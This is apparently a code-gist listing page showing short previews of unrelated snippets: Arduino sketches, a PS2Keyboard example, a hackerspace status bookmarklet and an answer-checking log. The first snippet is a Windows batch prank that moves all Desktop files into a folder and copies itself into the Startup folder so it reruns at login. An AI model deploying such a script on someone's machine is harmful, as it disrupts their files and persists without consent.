This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@ECHO OFF | |
ECHO Ferrando amiguinho | |
ECHO Movendo Desktop | |
mkdir %UserProfile%\Desktop\BloqueiaOVD | |
move %UserProfile%\Desktop\* %UserProfile%\Desktop\BloqueiaOVD | |
ECHO Startup | |
copy %0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BloqueiaOVD.bat" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
javascript:function handleResponse() {var data = JSON.parse(req.response); var strStatus = data.open? "Open": "Closed"; var dateLastchange = new Date(data.lastchange*1000); strStatus+=" ( "+dateLastchange.getHours()+":"+dateLastchange.getMinutes()+" "+dateLastchange.getDate()+"/"+(dateLastchange.getMonth()+1)+"/"+dateLastchange.getFullYear()+" )"; alert(strStatus);} req = new XMLHttpRequest();req.onload = handleResponse;req.open("GET","http://status.garoa.net.br/status", true);req.send(null); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
SK8Led | |
*/ | |
//pins | |
int pins[] = {2,3,4}; | |
//{red, green, blue} | |
int configPins[] = {8,9,11,12}; | |
//{varUpPin, varDownPin, valueUpPin, valueDownPin} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Welcome: 'egage', | |
GameSelected: 'CgC', | |
Correct: 'gCC', | |
Wrong: 'ec', | |
Fail: 'egec', | |
Winner: 'gggeCCC', | |
HighBeep: 'C', | |
LowBeep: 'c' | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bool val2; | |
void setup() | |
{ | |
pinMode(2, INPUT); | |
digitalWrite(2, HIGH); | |
Serial.begin(9600); | |
} | |
void loop() | |
{ | |
delay(100); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* PS2Keyboard library example | |
PS2Keyboard now requries both pins specified for begin() | |
keyboard.begin(data_pin, irq_pin); | |
Valid irq pins: | |
Arduino: 2, 3 | |
Arduino Mega: 2, 3, 18, 19, 20, 21 | |
Teensy 1.0: 0, 1, 2, 3, 4, 6, 7, 16 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
book 17 | |
question 30 | |
pattern_number 1 | |
new_question 15 | |
calc_candidate 0 | |
ERROR: b17, q30. collected sample: d. calculated answer: c | |
-- | |
book 18 | |
question 29 | |
pattern_number 1 |